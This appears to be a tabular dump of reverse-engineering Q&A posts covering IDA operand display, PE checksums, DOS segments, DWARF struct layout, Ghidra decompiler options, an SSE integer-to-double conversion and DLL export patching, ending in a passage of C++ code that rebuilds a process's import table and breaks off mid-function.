Answer
stringlengths
38
29k
Id
stringlengths
1
5
CreationDate
stringlengths
23
23
Body
stringlengths
55
28.6k
Title
stringlengths
15
145
Tags
stringlengths
3
68
<p>Options-General-Analysis-Processor specific options, [x] Explicit RIP-addressing.</p>
25262
2020-06-10T10:15:20.913
<p>I'm writing an IDA python script, and i need to be able to detect position independent code. I have an instruction that IDA displays using the operand name 'format'</p> <pre><code>lea rdi, format </code></pre> <p>However, when i use capstone disassembler or disassember.io it displays the instruction as </p> <pre><code>lea rdi, [rip + 0xd5a] </code></pre> <p>Is there an ida python function that will return the instruction in the form of the register + the immediate offset instead of the relative value or operand name?</p> <p>I tried using <code>idc.get_operand_value</code> but it returns the full address, not the register + offset.</p> <p>I've also tried <code>idc.GetDisasm</code> but that just returns the instruction as it's displayed in IDA.</p> <p>The hexbytes for the instruction are <code>48 8d 3d 5a 0d 00 00</code></p> <p>Architecture is <code>i386 x86-64</code></p>
Displaying Operands as Position Independent in IDA
|ida|x86|x86-64|offset|pic|
<p>The PE checksum is only checked for drivers by the kernel, for the user-mode binaries it's optional. As mentioned <a href="https://docs.microsoft.com/en-us/windows/win32/api/imagehlp/nf-imagehlp-mapfileandchecksuma" rel="nofollow noreferrer">in the doc</a>:</p> <blockquote> <p>Checksums are required for kernel-mode drivers and some system DLLs. The linker computes the original checksum at link time, if you use the appropriate linker switch. For more details, see your linker documentation.</p> </blockquote> <p>The linker option is <a href="https://docs.microsoft.com/en-us/cpp/build/reference/release-set-the-checksum" rel="nofollow noreferrer"><code>/RELEASE</code></a>:</p> <blockquote> <p>The /RELEASE option sets the Checksum in the header of an .exe file.</p> <p>The operating system requires the Checksum for device drivers. Set the Checksum for release versions of your device drivers to ensure compatibility with future operating systems.</p> <p>The /RELEASE option is set by default when the /SUBSYSTEM:NATIVE option is specified.</p> </blockquote>
25266
2020-06-10T14:42:15.320
<p>I have a "Hello World" console app compiled with Flat Assembler. The size of the executable is 2048 bytes and the checksum is 0x3797.</p> <p><strong>Questions:</strong></p> <p>Does it matter if I make changes to the data section and minor change to code section of the executable while maintaining the same checksum?</p> <p>Not really changing the opcode, just inserting different <code>input.Length</code> (length of null-terminated text string in data section)</p> <pre><code> push 0xfffffff5 // - 11 call DWORD PTR ds:0x40304c // .idata [GetStdHandle] push 0x0 push 0x401014 push [input.Length] push 0x401000 // .data push eax call DWORD PTR ds:0x403050 // .idata [WriteConsole] push 0x0 call DWORD PTR ds:0x0403048 // .idata [ExitProcess] </code></pre> <p>Why does it still run even though I use different checksum? For example, it still run even if I change the checksum to 0x995A or 0x5A99.</p> <p>I use <code>ImageHlp.dll</code> to compute the checksum as summarized below:</p> <pre><code>int HeaderSum = 0; int CheckSum = 0; IntPtr ptrHeaderSum=Marshal.AllocHGlobal(sizeof(int)); Marshal.WriteInt32(ptrHeaderSum, HeaderSum); IntPtr ptrCheckSum = Marshal.AllocHGlobal(sizeof(int)); Marshal.WriteInt32(ptrCheckSum, CheckSum); UInt32 status= ImageHlp.MapFileAndCheckSumA(@"D:\19_02_21.exe", ptrHeaderSum, ptrCheckSum); Console.WriteLine(status); CheckSum = Marshal.ReadInt32(ptrCheckSum); Console.WriteLine(CheckSum); Marshal.FreeHGlobal(ptrHeaderSum); Marshal.FreeHGlobal(ptrCheckSum); Console.ReadLine(); </code></pre>
Why does an executable still run despite changes to checksum, or changes to data section without new checksum?
|windows|pe|c#|reassembly|
<p>You need to set <code>ds</code> to the actual segment value used by the program. Usually it's one of the segments near the end. I suggest you to check which of the segments has something fitting at 8401h, or try to see how ds is set up in the calling function (you may need to go several levels up). You can also try to map the value you see in DOSBox debugger back to one of the segments in IDA (e.g. check what is at ds:0 and find it in database).</p> <p>In the <kbd>Alt-G</kbd> dialog, you can enter the selector (paragraph) value of the segment (database, not runtime) or simply the segment name.</p> <p>If all accesses in the current code segment use the same data segment, you can set it as the default in Edit-Segments-Set Default Segment Register Value...</p>
25268
2020-06-10T19:40:22.550
<p>I have disassembled an old DOS application with IDA. It run in 16-bit real mode. Some instructions are referencing variables defined in the data segment (DS). </p> <pre><code>push word ptr ds:8401h </code></pre> <p>Since I have imported debug symbols, I can display variable name by simply putting mouse over the <code>ds:xxxxh</code> part.</p> <p>The problem is this only works when IDA is running in debug mode (eg: a DOSBox process is attached to it). Otherwise nothing is shown.</p> <p>One possible explanation is that the data segment register (DS) is only set when application is running so IDA as no clue what value it is. In fact, the very first instructions of the program are dedicated to initializing the data segment : </p> <pre><code>; entry point mov dx, seg dseg ... ... ; a few instruction later mov ds, dx </code></pre> <p>I think this is how IDA is able to guess where the data segment is (which is reported as <em>dseg</em> in the <em>Segments</em> view). </p> <p>In that application, DS is set once for good and never changed over the time. Is there a way to tell IDA it should assume DS is equal to a given value in the whole disassembly ? (so hovering those variables will give proper name even when no process is attached).</p>
How to retrieve name of a variable defined in the data segment in IDA when no process is attached?
|ida|debugging|symbols|dos|segmentation|
<p>The second member, called <code>buf</code> (at location 4) is <em>not</em> a <code>char</code>. The type of that member is defined at <code>0x3451</code>, and this is an <em>array</em> type. Its elements are each of the type defined at <code>0x2d04</code>, which is a typedef named <code>Char</code>, which redirects to <code>0x29b7</code>, which is indeed <code>char</code> (represented as base type <code>signed char</code>).</p> <pre><code> &lt;1&gt;&lt;3451&gt;: Abbrev Number: 11 (DW_TAG_array_type) &lt;3452&gt; DW_AT_type : &lt;0x2d04&gt; ==&gt; Char ==&gt; (signed) char &lt;3456&gt; DW_AT_sibling : &lt;0x3462&gt; ==&gt; just management info &lt;2&gt;&lt;345a&gt;: Abbrev Number: 25 (DW_TAG_subrange_type) &lt;345b&gt; DW_AT_type : &lt;0x29a8&gt; ==&gt; indexed by "sizetype" &lt;345f&gt; DW_AT_upper_bound : 4999 ==&gt; indices are 0..4999 &lt;2&gt;&lt;3461&gt;: Abbrev Number: 0 </code></pre> <p>So the type of that member is an array containing 5000 <code>Char</code> objects which are <code>char</code> objects. So it is not surprising that when <code>buf</code> starts at offset 4, the next object starts at offset 5004.</p>
25271
2020-06-11T05:09:23.033
<p>Some of the structure types have members that are not stacked next to each other. Check out the structure type at 0x33E6 in bzip2_base (x86-64) <a href="https://github.com/ryantanwk/VaTy/blob/master/benchmark/sample_binaries/bzip2_base.gcc54-64bit.DIE" rel="nofollow noreferrer">here</a>. There's an int at location offset 0, a char at 4 and then an int at 5004! and so on, which brings up the size of the struct to 5104 Bytes, although it only consists of int and char variables (3 of each) with a struct called strm which is 640 Bytes long.</p>
How are members of a Structure Type positioned on the stack?
|elf|struct|debugging-symbols|stack-variables|type-reconstruction|
<p>By default, there is a setting in Code Browser that allows Ghidra to eliminate unreachable code, you would have to change the setting by editing the options for Code Browser. This can be done by going to Edit -> Tools Options. This would bring you to a page as seen in the screenshot below</p> <p><a href="https://i.stack.imgur.com/ihwZg.png" rel="noreferrer"><img src="https://i.stack.imgur.com/ihwZg.png" alt="enter image description here"></a></p> <p>Under the Analysis options in the Decompiler folder, there is a checkbox called "Eliminate unreachable code", uncheck that and apply the option. I hope this helps!</p>
25276
2020-06-11T12:16:36.497
<p>I am using this extension for loading PS-X executables:</p> <p><a href="https://github.com/lab313ru/ghidra_psx_ldr" rel="nofollow noreferrer">https://github.com/lab313ru/ghidra_psx_ldr</a></p> <p>During decompilation, Ghidra shows some of these warnings:</p> <pre><code>WARNING: Removing unreachable block (ram,0x8003a320) </code></pre> <p>Do you know how to prevent Ghidra from pruning these code blocks ?</p>
How to prevent Ghidra from removing unreachable blocks?
|decompilation|ghidra|decompile|
<p>I was wondering the same thing. The idea behind these instructions is to split QWORD in two DWORDs, then to make two floating point numbers corresponding to each and add them up. Here's how this seems to work:</p> <p>Operands in the snippet look incomplete, let's add missing higher QWORDs to operands:</p> <pre><code>movq xmm0, rcx punpckldq xmm0, 0x00000000000000004530000043300000 subpd xmm0, 0x45300000000000004330000000000000 haddpd xmm0, xmm0 </code></pre> <p>First <em>MOVQ</em> copies QWORD from RCX to lower half of XMM0. Then, <em>PUNPCKLDQ</em> instruction is used to construct two double precision floats in XMM0. It interleaves two DWORDs from source and destination. In pseudocode this can look like this:</p> <pre><code>xmm0 = ((0x43300000&lt;&lt;32)|xmm0[0:31]) | (((45300000&lt;&lt;32)|xmm0[32:63])&lt;&lt;64) </code></pre> <p>As a result each of the doubles is made of two parts: some magic constant + 32 bits of integer data. In order to understand what these magics do, we need to look at memory layout of a double. <a href="https://i.stack.imgur.com/gMsHY.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/gMsHY.png" alt="double precision memory layout" /></a></p> <p>So, the magic sets <em>sign</em>, <em>exponent</em> and 20 higher bits of <em>fraction</em>. For the first double (the one with 0x43300000 magic) the <em>exponent</em> is set to 1075 which makes contribution of least significant bit in <em>fraction</em> to be exactly 1. This trick allows to substitute fraction bits with any unsigned integer input without conversion.</p> <pre><code>LSB_contribution: 2^(1075-1023)*2^(-52) = 2^52*2^(-52) = 1 </code></pre> <p>The second magic sets <em>exponent</em> to 1107 to make contribution of LSB equal to 2^32 instead of 1 to match magnitudes of bits in higher DWORD.</p> <p>Since floating point representation has implicit 1 bit added to fraction the resulting values has constant offset, which is removed by <em>SUBPD</em> instruction. It subtracts double values with same magic constants and all <em>fraction</em> bits set to 0.</p> <p>At this point XMM0 contains two double values that correspond to DWORDS of input that can be summed with <em>HADDPD</em> to obtain the final result in lower half of XMM0 (so this is 64 bit unsigned integer to 64 bit floating point conversion).</p>
25288
2020-06-13T10:57:28.630
<p>Recently I came across the following set of vector instructions:</p> <pre><code>movq xmm0, rcx punpckldq xmm0, 0x4530000043300000 subpd xmm0, 0x4330000000000000 haddpd xmm0, xmm0 </code></pre> <p>The only sensible information I found based on the constants is a routine called <a href="https://github.com/MerryMage/dynarmic/blob/4aa4885ba707ac5e8d88a146336458a8bbe1304c/src/backend_x64/emit_x64_vector_floating_point.cpp#L413-L468" rel="nofollow noreferrer"><code>EmitFPVectorU64ToDouble</code></a>. Runtime behavior seemed to confirm that these instructions indeed convert an <em>unsigned integer</em> onto <em>scalar double-precision float</em>.</p> <p>What I'm looking for is an explanation of why these instructions achieve the result, theory behind it.</p>
What numeric properties are used in this Unsigned Integer (64bit) -> Floating Vector (128bit) conversion?
|assembly|x86|
<p>Since I don't know any tool to solve your problem easily, I will tell you how it can be done &quot;by hand&quot;.</p> <p>First of all, you have to be familiar with PE format. If you are not, you may check <a href="https://www.aldeid.com/wiki/PE-Portable-executable" rel="nofollow noreferrer">aldeid</a> and <a href="https://docs.microsoft.com/en-us/windows/win32/debug/pe-format" rel="nofollow noreferrer">MSDN</a> to understand the steps I will describe. Adding an export to <code>dll</code> is just extending <code>Export Directory</code> and possibly changing some other fields. So, what you have to do is to:</p> <ol> <li>Open your <code>dll</code> in PE parser. It can be <a href="http://www.pe-explorer.com/" rel="nofollow noreferrer">PE Explorer</a>, <a href="https://ntcore.com/?page_id=388" rel="nofollow noreferrer">CFF Explorer</a> or in disassembler such as IDA (tick manual load, and then load all possible sections).</li> <li>Open your favourite hex editor in order to patch <code>dll</code>. Some changes may be done in above mentioned PE parsers, but not all.</li> <li>Increase <code>ExportDirectory.NumberOfFunctions</code> by <code>1</code>, since you are adding new function.</li> <li>Do the same thing with <code>ExportDirectory.NumberOfNames</code>.</li> <li>Now, you have to add new entry to <code>Export Address Table</code>, which is located at <code>ExportDirectory.AddressOfFunctions</code>. Just use hex editor to insert <code>4</code> new NULL bytes - you will set their value when you insert your function's code.</li> <li>After previous step, <code>ExportDirectory.AddressOfNames</code> has probably changed (by <code>4</code> bytes). You have to adjust it as well.</li> <li>Now, insert new entry to <code>ExportDirectory.AddressOfNames</code> - insert another <code>4</code> bytes using hex editor. Later on, you will change it to the name of your function.</li> <li>As in step 6. and 7., adjust <code>ExportDirectory.AddressOfNameOrdinals</code> and add <code>2</code> bytes using hex editor (highest ordinal <code>+ 1</code>, write it in little endian).</li> <li>Since you have inserted several new bytes, you have to change <code>ExportDirectory.Name</code> as well, to point to the <code>dll</code> name.</li> <li>Now, insert your function's name at the end of the table of function names (last entry in <code>ExportDirectory.AddressOfNames</code>).</li> <li>Set the entry you have created in 7. so it points to your function name.</li> <li>Insert your function's code at the end of <code>.text</code> section (if it is small enough, you won't have to resize it).</li> <li>Set the entry you have created in 5.</li> <li>Change <code>Export Directory Size</code> to match your new size.</li> <li>Use the same value for changing <code>SectionHeader.VirtualSize</code> for <code>.edata</code> section.</li> <li>Increase <code>FileHeader.NumberOfSymbols</code> by <code>1</code>.</li> <li>Either increase <code>SectionTable.SizeOfRawData</code> for <code>ExportDirectory</code> by number of bytes you have inserted using hex editor, or delete as this number of NULL bytes at the end of <code>ExportDirectory</code> (if present).</li> <li>Zero out or compute new <code>OptionalHeader.CheckSum</code>.</li> </ol> <p>As you see, it's a tedious process to do this manually and even if you find doing it too difficult, I hope that at least you see what has to be done &quot;at low level&quot; to add new export to a <code>dll</code>.</p>
25292
2020-06-13T22:56:36.263
<p>I need to add new function inside pe32 module.dll Export Table , in dynamic way if possible ( via extending with dll ) or by patching pe32 module.dll </p> <p>What can u suggest to solve this ?</p>
Pe 32 Add Export function Segment by Extending with dll or Patching pe
|windows|c++|pe|assembly|
<p>Here is my final code.. it works.. gets all imports except a missing a few like 10 at most.. which are hardly important anyways. It misses <code>GetCurrentProcessId()</code>,<code>GetCurrentProcess()</code>,<code>LoadLibrary</code>. It misses them because I have no idea how to decode <code>0xA1</code> (<code>MOV EAX, [XXXXXX]</code>) opcode or <code>0xFF35</code> opcode (<code>push [XXXXXX]</code>). Although this library is very useful to me and it will help me in many projects to come.. I will release it on github now.</p> <p><code>imports address revolver file contains this</code></p> <pre><code>#include &lt;psapi.h&gt; //GetModuleInformation IAT #include &lt;tlhelp32.h&gt; //MODULEENTRY32 IAT #include &lt;shlwapi.h&gt; //PathFindFileName IAT #include &lt;DbgHelp.h&gt; //detours, GetImports, PE information BaseAddressStart/End etc. #include &lt;unordered_set&gt; //std::unordered_set&lt;DWORD&gt; #include &lt;unordered_map&gt; //std::map #include &lt;string&gt; #include &lt;algorithm&gt; #include &lt;iterator&gt; #include &lt;vector&gt; #pragma comment(lib, "dbghelp.lib") #pragma comment(lib, "psapi.lib") //GetModuleInformation IAT #pragma comment(lib, "Shlwapi.lib") //PathFindFileName IAT struct IAT_Module_Info { DWORD ImageBase; DWORD ImageSize; BYTE* EntryPoint; char DllName[256]; char DllFileName[1000]; }; static std::list&lt;IAT_Module_Info&gt; gs_ModuleList; struct IAT_Import_Information { DWORD IATAddress; char IATModuleName[256]; char IATFunctionName[256]; }; static std::list&lt;IAT_Import_Information&gt; listOfIATImports; BOOL SnapShotModules(DWORD dwPID) { BOOL bRet = TRUE; // Get all modules for this process: std::vector&lt;HMODULE&gt; hModules; const HMODULE hSelf = GetModuleHandle(NULL); { DWORD nModules; EnumProcessModules(GetCurrentProcess(), NULL, 0, &amp;nModules); hModules.resize(nModules); EnumProcessModules(GetCurrentProcess(), &amp;hModules[0], nModules, &amp;nModules); } if (!hSelf) { printf("Invalid Process Handle\n"); return FALSE; } gs_ModuleList.clear(); IAT_Module_Info modulefullInfo = { 0 }; MODULEINFO modinfo = { 0 }; char moduleName[256] = { 0 }; char moduleFileName[1000] = { 0 }; char myProcessFilePath[1000] = { 0 }; GetModuleFileNameExA(GetCurrentProcess(), NULL, myProcessFilePath, 1000); LPCSTR MyProcessFileName = PathFindFileName(myProcessFilePath); for (auto hModule : hModules) { if (hModule == hSelf) continue; GetModuleInformation(GetCurrentProcess(), hModule, &amp;modinfo, sizeof(modinfo)); GetModuleBaseName(GetCurrentProcess(), hModule, moduleName, sizeof(moduleName) / sizeof(char)); GetModuleFileName(hModule, moduleFileName, sizeof(moduleFileName) / sizeof(char)); if (_strcmpi(moduleName, MyProcessFileName) == 0) continue; strcpy(modulefullInfo.DllName, moduleName); modulefullInfo.ImageSize = modinfo.SizeOfImage; modulefullInfo.ImageBase = (DWORD)modinfo.lpBaseOfDll; modulefullInfo.EntryPoint = (BYTE*)modinfo.EntryPoint; strcpy(modulefullInfo.DllFileName, moduleFileName); gs_ModuleList.push_back(modulefullInfo); } return TRUE; } /************************************************************************/ /* Function : Retrieve API info by its addr and the module it belongs to Params : pBuf points to the image mapped to our space*/ /************************************************************************/ void GetAPIInfo(DWORD ptrAPI, const IAT_Module_Info *iat_module_info, DWORD ptrAPIObfuscated = NULL) { //try to load the dll into our space HMODULE hDll = NULL; if(iat_module_info) hDll = LoadLibrary(iat_module_info-&gt;DllFileName); if (NULL == hDll) return; //now ask for info from Export PIMAGE_DOS_HEADER pDOSHDR = (PIMAGE_DOS_HEADER)hDll; PIMAGE_NT_HEADERS pNTHDR = (PIMAGE_NT_HEADERS)((BYTE *)pDOSHDR + pDOSHDR-&gt;e_lfanew); if (pNTHDR-&gt;OptionalHeader.NumberOfRvaAndSizes &lt; IMAGE_DIRECTORY_ENTRY_EXPORT + 1) return; PIMAGE_EXPORT_DIRECTORY pExpDIR = (PIMAGE_EXPORT_DIRECTORY) ((BYTE *)pDOSHDR + pNTHDR-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); DWORD dwFunctions = pExpDIR-&gt;NumberOfFunctions; DWORD *ptrAddrFunc = (DWORD *)((BYTE *)pDOSHDR + pExpDIR-&gt;AddressOfFunctions); DWORD i = 0; //get index by address for (i = 0; i &lt; dwFunctions; i++) { if (ptrAPIObfuscated &amp;&amp; ((DWORD)pDOSHDR + ptrAddrFunc[i]) == ptrAPIObfuscated) break; if (!ptrAPIObfuscated &amp;&amp; ((DWORD)pDOSHDR + ptrAddrFunc[i]) == *(DWORD*)ptrAPI) break; } //not match if (i == dwFunctions) return; //get name and ordinal DWORD dwNames = pExpDIR-&gt;NumberOfNames; DWORD *pNames = (DWORD *)((BYTE *)pDOSHDR + pExpDIR-&gt;AddressOfNames); WORD *pNameOrd = (WORD *)((BYTE *)pDOSHDR + pExpDIR-&gt;AddressOfNameOrdinals); DWORD j = 0; char *pszName = NULL; SIZE_T nLen = 0; for (j = 0; j &lt; dwNames; j++) { if (pNameOrd[j] == i) { pszName = (char *)pDOSHDR + pNames[j]; nLen = strlen(pszName); /*printf("%X\t%04X\t%s\n", *(DWORD *)ptrAPI, j, pszName );*/ //Save information IAT_Import_Information iat_found = { 0 }; iat_found.IATAddress = ptrAPI; strcpy(iat_found.IATFunctionName, pszName); strcpy(iat_found.IATModuleName, iat_module_info-&gt;DllName); listOfIATImports.push_back(iat_found); if(ptrAPIObfuscated) printf("Added Obfuscated %X %X, %s -&gt; %s\n", ptrAPI, ptrAPIObfuscated, iat_module_info-&gt;DllName, pszName); else printf("Added %X %X, %s -&gt; %s\n", ptrAPI, *(DWORD*)ptrAPI, iat_module_info-&gt;DllName, pszName); } } } /************************************************************************/ /* Function : rebuild Import Info according to IAT Params : ptrIAT point to the page where IAT in ppBuf [IN/OUT] is the memory space for the exe, may be updated dwImageSize is the exe's image size */ /************************************************************************/ void FixImport(DWORD dwPID, DWORD ptrIAT, DWORD ptrIATEnd, DWORD dwImageSize) { if (gs_ModuleList.size() == 0) { printf("No Modules loaded, can't fix anything\n"); return; } //now verify every DWORD item is a valid FuncPtr with some dll. //we need to snapshot the process. std::list&lt;IAT_Module_Info&gt;::iterator it; IAT_Module_Info iat_module_info; printf("ptrIAT = %X ptrIATEnd = %X\n", ptrIAT, ptrIATEnd); DWORD ptrIndex = ptrIAT; DWORD dwModBase = NULL; //利用局部性原理,减少比较 DWORD dwModSize = NULL; DWORD dwModHit = NULL; while (TRUE) { //thz should always continue, even if BadPtr or invalid funcptr if (ptrIndex &lt;= ptrIATEnd &amp;&amp; IsBadReadPtr((const void *)*(DWORD *)ptrIndex, sizeof(DWORD))) { ptrIndex += sizeof(DWORD); continue; } //now we may end, be careful if (ptrIndex &gt; ptrIATEnd &amp;&amp; (NULL == *(DWORD*)ptrIndex) &amp;&amp; (NULL == *(DWORD*)(ptrIndex + sizeof(DWORD)))) { break; } if (ptrIndex &gt; ptrIATEnd &amp;&amp; IsBadReadPtr((const void *)*(DWORD *)ptrIndex, sizeof(DWORD)) ) { ptrIndex += sizeof(DWORD); continue; } ////////////////////////////////////////////////////////////////////////// //whether in a module range dwModHit = NULL; //局部性原理,减少遍历 if (*(DWORD *)ptrIndex &gt;= dwModBase &amp;&amp; *(DWORD *)ptrIndex &lt; dwModBase + dwModSize) { dwModHit = dwModBase; } //have to loop every module if (dwModHit == NULL) { for (it = gs_ModuleList.begin(); it != gs_ModuleList.end(); it++) { iat_module_info = *it; dwModBase = (DWORD)iat_module_info.ImageBase; dwModSize = (DWORD)iat_module_info.ImageSize; if (*(DWORD *)ptrIndex &gt;= dwModBase &amp;&amp; *(DWORD *)ptrIndex &lt; dwModBase + dwModSize) { //printf("ptrIndex %X %X, Mod: %X, Size: %X\n", *(DWORD *)ptrIndex, ptrIndex, dwModBase, dwModSize); //printf("Module: %s\n", iat_module_info.DllName); break; } memset(&amp;iat_module_info, 0, sizeof(IAT_Module_Info)); }//end for( }//end if(NULL == if (iat_module_info.ImageBase == 0 &amp;&amp; iat_module_info.ImageSize == 0) { bool passDone = false; bool Found = false; IAT_Module_Info iat_module_info_temp; DWORD deObfuscatedAddress = *(DWORD*)ptrIndex; retryPass: printf("Check = %X %X %X\n", deObfuscatedAddress, (BYTE)deObfuscatedAddress, *(BYTE*)deObfuscatedAddress); for (it = gs_ModuleList.begin(); it != gs_ModuleList.end(); it++) { iat_module_info_temp = *it; dwModBase = (DWORD)iat_module_info_temp.ImageBase; dwModSize = (DWORD)iat_module_info_temp.ImageSize; if (deObfuscatedAddress &gt;= dwModBase &amp;&amp; deObfuscatedAddress &lt; dwModBase + dwModSize) { //printf("ptrIndex %X %X, Mod: %X, Size: %X\n", deObfuscatedAddress, ptrIndex, dwModBase, dwModSize); //printf("Module: %s\n", iat_module_info.DllName); Found = true; break; } } if (Found) { printf("Found Check = %X\n", deObfuscatedAddress); GetAPIInfo(ptrIndex, &amp;iat_module_info_temp, deObfuscatedAddress); ptrIndex += sizeof(DWORD); continue; } else if (!passDone) { passDone = true; if (*(BYTE*)deObfuscatedAddress == 0xE9) //JMP relative deObfuscatedAddress = (*(DWORD*)(deObfuscatedAddress + 1)) + deObfuscatedAddress + 5; else if (*(BYTE*)deObfuscatedAddress == 0x68 &amp;&amp; *(BYTE*)(deObfuscatedAddress + 5) == 0xC3) { //PUSH printf("PUSH = %X %X +5[%X]\n", deObfuscatedAddress, *(DWORD*)(deObfuscatedAddress + 1), *(BYTE*)(deObfuscatedAddress + 5)); deObfuscatedAddress = *(DWORD*)(deObfuscatedAddress + 1); } else if (*(BYTE*)deObfuscatedAddress == 0xA1 &amp;&amp; *(BYTE*)(deObfuscatedAddress + 5) == 0xC3) { //A1 MOV EAX, [XXXXXX] printf("A1 = %X %X +5[%X]\n", deObfuscatedAddress, *(DWORD*)(deObfuscatedAddress + 1), *(BYTE*)(deObfuscatedAddress + 5)); deObfuscatedAddress = *(DWORD*)(deObfuscatedAddress + 1); } else if (*(BYTE*)deObfuscatedAddress == 0xFF &amp;&amp; *(BYTE*)(deObfuscatedAddress + 1) == 0x35 &amp;&amp; *(BYTE*)(deObfuscatedAddress + 6) == 0x58) { //push [XXXXXX] printf("PUSH2 = %X %X\n", deObfuscatedAddress, *(DWORD*)(deObfuscatedAddress + 2)); deObfuscatedAddress = *(DWORD*)(deObfuscatedAddress + 2); } else if ((BYTE)deObfuscatedAddress == 0xC8) { //enter (invalid opcode) printf("invalid 0xC8 = %X %X %X\n", ptrIndex, deObfuscatedAddress, (DWORD*)deObfuscatedAddress); deObfuscatedAddress = *(DWORD*)(ptrIndex + insn_len((void*)ptrIndex)); printf("invalid 0xC8 = %X %X %X\n", ptrIndex, deObfuscatedAddress, (DWORD*)deObfuscatedAddress); passDone = false; } goto retryPass; } else { printf("not found import :(\n"); ptrIndex += sizeof(DWORD); continue; } } //now *ptrIndex in dwModBase //now retrieve API info (Hint, name) from the module's export //printf("ptrIndex %X %X, Mod: %X, Size: %X\n", *(DWORD *)ptrIndex, ptrIndex, dwModBase, dwModSize); GetAPIInfo(ptrIndex, &amp;iat_module_info); ptrIndex += sizeof(DWORD); } } /************************************************************************/ /* Function : Get AddressOfEntryPoint (or Original Entry Point) Params : lpAddr is the Base where the exe mapped into Return : OEP (RVA) */ /************************************************************************/ DWORD GetOEP(LPVOID lpAddr) { PIMAGE_DOS_HEADER pDOSHDR = (PIMAGE_DOS_HEADER)lpAddr; PIMAGE_NT_HEADERS pNTHDR = (PIMAGE_NT_HEADERS)((unsigned char *)pDOSHDR + pDOSHDR-&gt;e_lfanew); return pNTHDR-&gt;OptionalHeader.AddressOfEntryPoint; } /************************************************************************/ /* Function : Retrieve a process's Import Info only by IAT Param : lpAddr is the address the exe mapped into (within our space) ptrIATEnd [out] used to receive the 1st IAT we found (FF25 XXXX, FF15YYYY) Return : the beginning of the page where IAT in Search for FF25 XXXX, or FF15 yyyy HelloWorld.exe 004001E0 &gt; . EA07D577 DD USER32.MessageBoxA 004001E4 00000000 DD 00000000 004001E8 &gt;/$ 6A 00 PUSH 0 ; /Style = MB_OK|MB_APPLMODAL 004001EA |. 6A 00 PUSH 0 ; |Title = NULL 004001EC |. 6A 00 PUSH 0 ; |Text = NULL 004001EE |. 6A 00 PUSH 0 ; |hOwner = NULL 004001F0 |. E8 01000000 CALL &lt;JMP.&amp;USER32.MessageBoxA&gt; ; \MessageBoxA 004001F5 \. C3 RETN 004001F6 $- FF25 E0014000 JMP DWORD PTR DS:[&lt;&amp;USER32.MessageBoxA&gt;] ; USER32.MessageBoxA Notepad.exe 0100740B . FF15 38130001 CALL DWORD PTR DS:[&lt;&amp;msvcrt.__set_app_ty&gt;; msvcrt.__set_app_type MSPaint.exe 1000CA65 8B35 58D10110 MOV ESI,DWORD PTR DS:[&lt;&amp;KERNEL32.LCMapSt&gt;; kernel32.LCMapStringW */ /************************************************************************/ /* Need to check all of these – 8B0D MOV ECX,[ADDRESS] – 8B15 MOV EDX,[ADDRESS] – 8B1D MOV EBX,[ADDRESS] – 8B25 MOV ESP,[ADDRESS] – 8B2D MOV EBP,[ADDRESS] – 8B35 MOV ESI,[ADDRESS] – 8B3D MOV EDI,[ADDRESS] – A1 MOV EAX,[ADDRESS] - FF15 CALL [ADDRESS] – FF25 JMP [ADDRESS] – FF35 PUSH [ADDRESS] */ DWORD SearchIAT(LPVOID lpAddr, DWORD dwImageSize, DWORD pImageBase, DWORD dwMaxIATImageSize, DWORD *ptrIATEnd) { DWORD pImageSectionStart = 0; DWORD instruction_length; DWORD *ptrFuncAddr = NULL; //like xxx in JMP DWORD PTR DS:[XXXX] DWORD ptrFuncAddrHighest = NULL; DWORD dwOEP = NULL; BYTE *pCode = NULL; DWORD i = NULL; WORD wJMP = 0x25FF; WORD wCALL = 0x15FF; dwOEP = GetOEP(lpAddr); i = dwOEP; pCode = (BYTE *)((BYTE *)lpAddr + dwOEP); // get the location of the module's IMAGE_NT_HEADERS structure IMAGE_NT_HEADERS *pNtHdr = ImageNtHeader(lpAddr); // section table immediately follows the IMAGE_NT_HEADERS IMAGE_SECTION_HEADER *pSectionHdr = (IMAGE_SECTION_HEADER *)(pNtHdr + 1); bool got = false; for (int scn = 0; scn &lt; pNtHdr-&gt;FileHeader.NumberOfSections; ++scn) { char *name = (char*)pSectionHdr-&gt;Name; DWORD SectionStart = (DWORD)lpAddr + pSectionHdr-&gt;VirtualAddress; DWORD SectionEnd = (DWORD)lpAddr + pSectionHdr-&gt;VirtualAddress + pSectionHdr-&gt;Misc.VirtualSize - 1; if (got) { pImageSectionStart = SectionStart; break; } if (SectionStart == pImageBase + dwOEP &amp;&amp; SectionEnd &lt; dwImageSize) { got = true; //next one is imports. ++pSectionHdr; continue; } ++pSectionHdr; } if (!pImageSectionStart) pImageSectionStart = dwImageSize; printf("Found OEP at %X, ImageSize = %X,%X\n", dwOEP, dwImageSize, pImageSectionStart); //search for FF 25 XXXX, FF 15 YYYY from OEP, had better use Disasm engine //but we just do it simply while (i &lt; pImageSectionStart) { if (memcmp(pCode, &amp;wJMP, sizeof(WORD)) &amp;&amp; memcmp(pCode, &amp;wCALL, sizeof(WORD))) { // instruction_length = insn_len(pCode); pCode += instruction_length; i += instruction_length; continue; } //check illegal, *ptrFuncAddr &gt; pImageBase &amp;&amp; *ptrFuncAddr &lt;= pImageBase + dwImageSize ptrFuncAddr = (DWORD *)(pCode + sizeof(WORD)); if (*ptrFuncAddr &lt; (DWORD)pImageBase || *ptrFuncAddr &gt;= (DWORD)pImageBase + dwImageSize) { instruction_length = insn_len(pCode); pCode += instruction_length; i += instruction_length; continue; } //need to fix relocation *(DWORD *)ptrFuncAddr = (long)lpAddr + *(long *)ptrFuncAddr - (long)pImageBase; //now found one item that may belongs to IAT ptrFuncAddr = (DWORD *)*ptrFuncAddr; if ((DWORD)ptrFuncAddr &gt; ptrFuncAddrHighest) { ptrFuncAddrHighest = (DWORD)ptrFuncAddr; printf("highest = %X\n", ptrFuncAddrHighest); } //recheck illegal, //for system dlls, what about user dlls? well, whatever, there must be system dlls //what if we found IAT for system dlls, so we found the user dlls. //What if the IAT tables are not continous???????? if (*ptrFuncAddr &lt; dwMaxIATImageSize) { instruction_length = insn_len(pCode); pCode += instruction_length; i += instruction_length; continue; } break; } //now it seems ptrFuncAddr points some item in IAT, //make ptrFuncAddr point to the beginning of the page //we use 0xFFFEFFFF, because ptrFuncAddr is the memory addr we allocated, not by loadlibrary *ptrIATEnd = (DWORD)ptrFuncAddrHighest; ptrFuncAddr = (DWORD*)(((DWORD)ptrFuncAddr &amp; 0xFFFFF000) + ((DWORD)lpAddr &amp; 0x0FFF) ); return (DWORD)ptrFuncAddr; 